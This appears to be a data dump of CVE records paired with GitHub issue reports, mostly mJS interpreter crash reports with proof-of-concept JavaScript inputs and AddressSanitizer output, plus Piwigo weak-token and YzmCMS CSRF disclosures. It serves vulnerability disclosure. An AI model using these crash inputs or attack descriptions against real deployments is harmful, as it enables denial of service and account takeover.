# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
let a = [];
for (let k = 0; k < 5; ++k) {
a[gc(gc(JSON.stringify(gc('#1.1: -0 - -0 === 0. Actual: '))))](0, a[k]());
}
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==30781==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f716475ce1a bp 0x7ffee0cc88e0 sp 0x7ffee0cc8040 T0)
==30781==The signal is caused by a READ memory access.
==30781==Hint: address points to the zero page.
#0 0x7f716475ce19 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x59e19)
#1 0x55af535c987a in getprop_builtin_array src/mjs_exec.c:476
#2 0x55af535c987a in getprop_builtin src/mjs_exec.c:536
#3 0x55af535c987a in mjs_execute src/mjs_exec.c:690
#4 0x55af535d2a05 in mjs_exec_internal src/mjs_exec.c:1073
#5 0x55af535d2a05 in mjs_exec_file src/mjs_exec.c:1096
#6 0x55af5358f909 in main src/mjs_main.c:47
#7 0x7f716412fb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#8 0x55af53590449 in _start (/usr/local/bin/mjs+0xe449)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x59e19)
==30781==ABORTING
```
Credits: Found by OWL337 team. | SEGV (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x59e19) | https://api.github.com/repos/cesanta/mjs/issues/220/comments | 0 | 2021-12-31T08:00:38Z | 2022-01-12T02:22:12Z | https://github.com/cesanta/mjs/issues/220 | 1,091,464,835 | 220 |
CVE-2021-46545 | 2022-01-27T21:15:10.947 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /lib/x86_64-linux-gnu/libc.so.6+0x4b44b. This vulnerability can lead to a Denial of Service (DoS). | {
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] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
function getImmutableArrayOrSet(get, value) {
({
e: "[object " + "Array",
e: JSON.stringify({
e: 1,
f: 2
})
})
}
function JSEtest() {
getImmutableArrayOrSet(true);
for (let i = 0; i < 2; ([
JSON.parse(
'192.015052000001'
),
])) {
getImmutableArrayOrSet(false, {});
}
let arr = getImmutableArrayOrSet(true);
}
JSEtest();
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==62116==ERROR: AddressSanitizer: SEGV on unknown address 0x602000010000 (pc 0x7f9a89e6444c bp 0x60200000fff0 sp 0x7fff400ffd90 T0)
==62116==The signal is caused by a READ memory access.
#0 0x7f9a89e6444b (/lib/x86_64-linux-gnu/libc.so.6+0x4b44b)
#1 0x55ca33043e4a in frozen_cb src/mjs_json.c:360
#2 0x55ca33122876 in json_parse_number src/frozen/frozen.c:288
#3 0x55ca33122876 in json_parse_value src/frozen/frozen.c:374
#4 0x55ca33134337 in json_doit src/frozen/frozen.c:434
#5 0x55ca33134337 in json_walk src/frozen/frozen.c:815
#6 0x55ca33050873 in mjs_json_parse src/mjs_json.c:450
#7 0x55ca33056722 in mjs_op_json_parse src/mjs_json.c:510
#8 0x55ca33010244 in mjs_execute src/mjs_exec.c:853
#9 0x55ca33019a05 in mjs_exec_internal src/mjs_exec.c:1073
#10 0x55ca33019a05 in mjs_exec_file src/mjs_exec.c:1096
#11 0x55ca32fd6909 in main src/mjs_main.c:47
#12 0x7f9a89e3ab96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#13 0x55ca32fd7449 in _start (/usr/local/bin/mjs+0xe449)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x4b44b)
==62116==ABORTING
```
Credits: Found by OWL337 team. | SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x4b44b) | https://api.github.com/repos/cesanta/mjs/issues/218/comments | 0 | 2021-12-31T07:58:22Z | 2022-01-12T02:21:37Z | https://github.com/cesanta/mjs/issues/218 | 1,091,464,190 | 218 |
CVE-2021-46546 | 2022-01-27T21:15:10.990 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_next at src/mjs_object.c. This vulnerability can lead to a Denial of Service (DoS). | {
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Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
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###### Build steps
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DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
for (let y in { aa: 1, ba: 2, ca: 3 }) {
Object.create.apply({}, [Object] 1)
}
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==35880==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x560c3e80fde0 bp 0xfffc60e0000000a8 sp 0x7ffdb0ad02e0 T0)
==35880==The signal is caused by a READ memory access.
==35880==Hint: address points to the zero page.
#0 0x560c3e80fddf in mjs_next src/mjs_object.c:255
#1 0x560c3e7bafed in mjs_execute src/mjs_exec.c:760
#2 0x560c3e7c6a05 in mjs_exec_internal src/mjs_exec.c:1073
#3 0x560c3e7c6a05 in mjs_exec_file src/mjs_exec.c:1096
#4 0x560c3e783909 in main src/mjs_main.c:47
#5 0x7fd9390adb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#6 0x560c3e784449 in _start (/usr/local/bin/mjs+0xe449)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_object.c:255 in mjs_next
==35880==ABORTING
```
| SEGV src/mjs_object.c:255 in mjs_next | https://api.github.com/repos/cesanta/mjs/issues/213/comments | 0 | 2021-12-31T07:50:54Z | 2021-12-31T07:50:54Z | https://github.com/cesanta/mjs/issues/213 | 1,091,462,280 | 213 |
CVE-2021-46547 | 2022-01-27T21:15:11.033 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /usr/local/bin/mjs+0x2c17e. This vulnerability can lead to a Denial of Service (DoS). | {
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Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
chr([
print(
chr([
print(
JSON.stringify([
chr--(
print([
JSON.parse(
'0.255.0.0'
),
])
),
chr(
print([
JSON.parse(
'0.255.0.0'
),
])
),
])
),
])
),
]);
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
<array>
<array>
ASAN:DEADLYSIGNAL
=================================================================
==125301==ERROR: AddressSanitizer: SEGV on unknown address 0x55dae32d710c (pc 0x55dae32d717f bp 0x000000000130 sp 0x7ffc72c4b168 T0)
==125301==The signal is caused by a WRITE memory access.
#0 0x55dae32d717e (/usr/local/bin/mjs+0x2c17e)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x2c17e)
==125301==ABORTING
```
| SEGV (/usr/local/bin/mjs+0x2c17e) | https://api.github.com/repos/cesanta/mjs/issues/221/comments | 0 | 2021-12-31T08:01:57Z | 2021-12-31T08:01:57Z | https://github.com/cesanta/mjs/issues/221 | 1,091,465,349 | 221 |
CVE-2021-46548 | 2022-01-27T21:15:11.093 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via add_lineno_map_item at src/mjs_bcode.c. This vulnerability can lead to a Denial of Service (DoS). | {
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] | github.com | [
"cesanta",
"mjs"
] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
(JSON.stringify([1, 2, 3]))(((print-6.32*(823))-6.32*21e2)(JSON.parse(JSON.stringify([(0)]))));J
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==82386==ERROR: AddressSanitizer: SEGV on unknown address 0x0000000000e4 (pc 0x55a4aeab6fd4 bp 0x00000000008c sp 0x7ffc17a28520 T0)
==82386==The signal is caused by a READ memory access.
==82386==Hint: address points to the zero page.
#0 0x55a4aeab6fd3 in add_lineno_map_item src/mjs_bcode.c:15
#1 0x55a4aeab6fd3 in emit_int src/mjs_bcode.c:47
#2 0x55a4aeb600dd in parse_comparison src/mjs_parser.c:431
#3 0x55a4aeb600dd in parse_equality src/mjs_parser.c:435
#4 0x55a4aeb65d0b in parse_bitwise_and src/mjs_parser.c:440
#5 0x55a4aeb65d0b in parse_bitwise_xor src/mjs_parser.c:445
#6 0x55a4aeb32177 in parse_bitwise_or src/mjs_parser.c:450
#7 0x55a4aeb32177 in parse_logical_and src/mjs_parser.c:455
#8 0x55a4aeb32177 in parse_logical_or src/mjs_parser.c:460
#9 0x55a4aeb32177 in parse_ternary src/mjs_parser.c:465
#10 0x55a4aeb32177 in parse_assignment src/mjs_parser.c:503
#11 0x55a4aeb388d7 in parse_expr src/mjs_parser.c:507
#12 0x55a4aeb388d7 in parse_statement src/mjs_parser.c:945
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_bcode.c:15 in add_lineno_map_item
==82386==ABORTING
```
Credits: Found by OWL337 team. | SEGV src/mjs_bcode.c:15 in add_lineno_map_item | https://api.github.com/repos/cesanta/mjs/issues/228/comments | 0 | 2021-12-31T08:09:27Z | 2022-01-12T02:22:49Z | https://github.com/cesanta/mjs/issues/228 | 1,091,467,987 | 228 |
CVE-2021-46549 | 2022-01-27T21:15:11.137 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via parse_cval_type at src/mjs_ffi.c. This vulnerability can lead to a Denial of Service (DoS). | {
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"cesanta",
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] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
(JSON.stringify([1, 2, 3]))((JSON.stringify-6.5*321e2)(JSON.stringify([1, 2, 3])));
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==85157==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55e826c7824e bp 0x000000000080 sp 0x7ffe9212b1c8 T0)
==85157==The signal is caused by a READ memory access.
==85157==Hint: address points to the zero page.
#0 0x55e826c7824d in parse_cval_type src/mjs_ffi.c:50
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_ffi.c:50 in parse_cval_type
==85157==ABORTING
```
| SEGV src/mjs_ffi.c:50 in parse_cval_type | https://api.github.com/repos/cesanta/mjs/issues/224/comments | 0 | 2021-12-31T08:05:23Z | 2021-12-31T08:05:23Z | https://github.com/cesanta/mjs/issues/224 | 1,091,466,611 | 224 |
CVE-2021-46550 | 2022-01-27T21:15:11.183 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via free_json_frame at src/mjs_json.c. This vulnerability can lead to a Denial of Service (DoS). | {
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] | github.com | [
"cesanta",
"mjs"
] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
(JSON.stringify([1, 2, 3]))((JSON.stringify-6.34321e2)(JSON.stringify([1, 2, 3])));
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
> $ Gmjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
======ERROR: AddressSanitizer: SEGV on unknown address 0x561b4e461e9c (pc 0x561b4e461ed5 bp 0x000000000080 sp 0x7ffdacf6fb18 T0)
======The signal is caused by a WRITE memory access.
#0 0x561b4e461ed4 in free_json_frame src/mjs_json.c:323
#1 0x561b4e461ed4 in mjs_json_parse src/mjs_json.c:476
#2 0x7ffdacf6fc0f (<unknown module>)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_json.c:323 in free_json_frame
======ABORTING
```
Credits: Found by OWL337 team.
| SEGV src/mjs_json.c:323 in free_json_frame | https://api.github.com/repos/cesanta/mjs/issues/230/comments | 0 | 2021-12-31T08:11:01Z | 2022-01-12T02:23:13Z | https://github.com/cesanta/mjs/issues/230 | 1,091,468,550 | 230 |
CVE-2021-46553 | 2022-01-27T21:15:11.227 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_set_internal at src/mjs_object.c. This vulnerability can lead to a Denial of Service (DoS). | {
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"cesanta",
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] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
(JSON.stringify([1, 2, 3]))((load - 6. + 4321e2)([([JSON.parse(JSON.stringify([(0)]))])]));
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==51917==ERROR: AddressSanitizer: SEGV on unknown address 0xffffffffffffff81 (pc 0x5576b72e39f0 bp 0x000000000081 sp 0x7ffd4baed160 T0)
==51917==The signal is caused by a READ memory access.
#0 0x5576b72e39ef in mjs_set_internal src/mjs_object.c:207
#1 0x5576b72e39ef in mjs_set_v src/mjs_object.c:155
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_object.c:207 in mjs_set_internal
==51917==ABORTING
```
Credits: Found by OWL337 team.
| SEGV src/mjs_object.c:207 in mjs_set_internal | https://api.github.com/repos/cesanta/mjs/issues/226/comments | 0 | 2021-12-31T08:07:24Z | 2022-01-12T02:22:36Z | https://github.com/cesanta/mjs/issues/226 | 1,091,467,307 | 226 |
CVE-2021-46554 | 2022-01-27T21:15:11.270 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_json_stringify at src/mjs_json.c. This vulnerability can lead to a Denial of Service (DoS). | {
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] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
(JSON.stringify([1, 2, 3]))((JSON.parse-6.54*21e2)(JSON.stringify([1, 2, 3])));
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==61059==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x56205ea42cf1 bp 0x00000000007c sp 0x7ffdf0132cb8 T0)
==61059==The signal is caused by a READ memory access.
==61059==Hint: address points to the zero page.
#0 0x56205ea42cf0 in mjs_json_stringify src/mjs_json.c:273
#1 0x56205ea42cf0 in mjs_json_stringify src/mjs_json.c:272
#2 0x56205ea42cf0 in mjs_json_stringify src/mjs_json.c:272
#3 0x56205ea42cf0 in mjs_op_json_stringify src/mjs_json.c:494
#4 0x56205ead6955 in cs_varint_decode src/common/cs_varint.c:65
#5 0x56205eaa1a05 in mjs_strcmp src/mjs_string.c:228
#6 0x60b000000082 (<unknown module>)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_json.c:273 in mjs_json_stringify
```
Credits: Found by OWL337 team.
| SEGV src/mjs_json.c:273 in mjs_json_stringify | https://api.github.com/repos/cesanta/mjs/issues/229/comments | 0 | 2021-12-31T08:10:12Z | 2022-01-12T02:23:01Z | https://github.com/cesanta/mjs/issues/229 | 1,091,468,269 | 229 |
CVE-2021-46556 | 2022-01-27T21:15:11.317 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_bcode_insert_offset at src/mjs_bcode.c. This vulnerability can lead to a Denial of Service (DoS). | {
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"url": "https://github.com/cesanta/mjs/issues/227"
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] | github.com | [
"cesanta",
"mjs"
] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
(JSON.stringify([1, 2, 3]))((load - 6.34 * 21e2)([([JSON.parse(JSON.stringify([(0)]))])]));
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==88306==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000008c (pc 0x558644d0edbc bp 0x000000000084 sp 0x7fffa37031f8 T0)
==88306==The signal is caused by a READ memory access.
==88306==Hint: address points to the zero page.
#0 0x558644d0edbb in mjs_bcode_insert_offset src/mjs_bcode.c:67
#1 0x7fffa3703a0f (<unknown module>)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_bcode.c:67 in mjs_bcode_insert_offset
==88306==ABORTING
```
| SEGV src/mjs_bcode.c:67 in mjs_bcode_insert_offset | https://api.github.com/repos/cesanta/mjs/issues/227/comments | 0 | 2021-12-31T08:08:18Z | 2021-12-31T08:08:18Z | https://github.com/cesanta/mjs/issues/227 | 1,091,467,592 | 227 |
CVE-2016-3735 | 2022-01-28T20:15:08.437 | Piwigo is image gallery software written in PHP. When a criteria is not met on a host, piwigo defaults to usingmt_rand in order to generate password reset tokens. mt_rand output can be predicted after recovering the seed used to generate it. This low an unauthenticated attacker to take over an account providing they know an administrators email address in order to be able to request password reset. | {
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"baseScore": 6.8,
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"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
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"exploitabilityScore": 8.6,
"impactScore": 6.4,
"obtainAllPrivilege": false,
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"source": "[email protected]",
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"source": "[email protected]",
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"source": "[email protected]",
"tags": null,
"url": "http://piwigo.org/release-2.8.1%2C"
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"url": "https://github.com/Piwigo/Piwigo/commit/f51ee90c66527fd7ff634f3e8d414cb670da068d"
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"url": "https://github.com/Piwigo/Piwigo/issues/470%2C"
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] | Current functions used to generate random strings are not "that much random" (depending on the PHP version and operating system).
| increase randomness on generate_key | https://api.github.com/repos/Piwigo/Piwigo/issues/470/comments | 0 | 2016-04-26T09:03:40Z | 2018-01-15T12:20:36Z | https://github.com/Piwigo/Piwigo/issues/470 | 151,080,998 | 470 |
CVE-2022-23887 | 2022-01-28T21:15:10.197 | YzmCMS v6.3 was discovered to contain a Cross-Site Request Forgery (CSRF) which allows attackers to arbitrarily delete user accounts via /admin/admin_manage/delete. | {
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] | github.com | [
"yzmcms",
"yzmcms"
] | This vulnerability allows arbitrary users to be deleted,
There is a user with ID 3,
Click delete and capture the package to generate the POC of CSRF,
Package the deletion request to dorp, and put the generated POC in the HTML page and send it to the administrator. When the administrator clicks the page, the user with ID 3 can be deleted.
| YzmCMS V6. 3. CSRF vulnerability exists in the official version(YzmCMS V6.3 正式版存在csrf漏洞) | https://api.github.com/repos/yzmcms/yzmcms/issues/59/comments | 1 | 2022-01-21T03:30:48Z | 2022-02-14T02:59:09Z | https://github.com/yzmcms/yzmcms/issues/59 | 1,110,013,040 | 59 |
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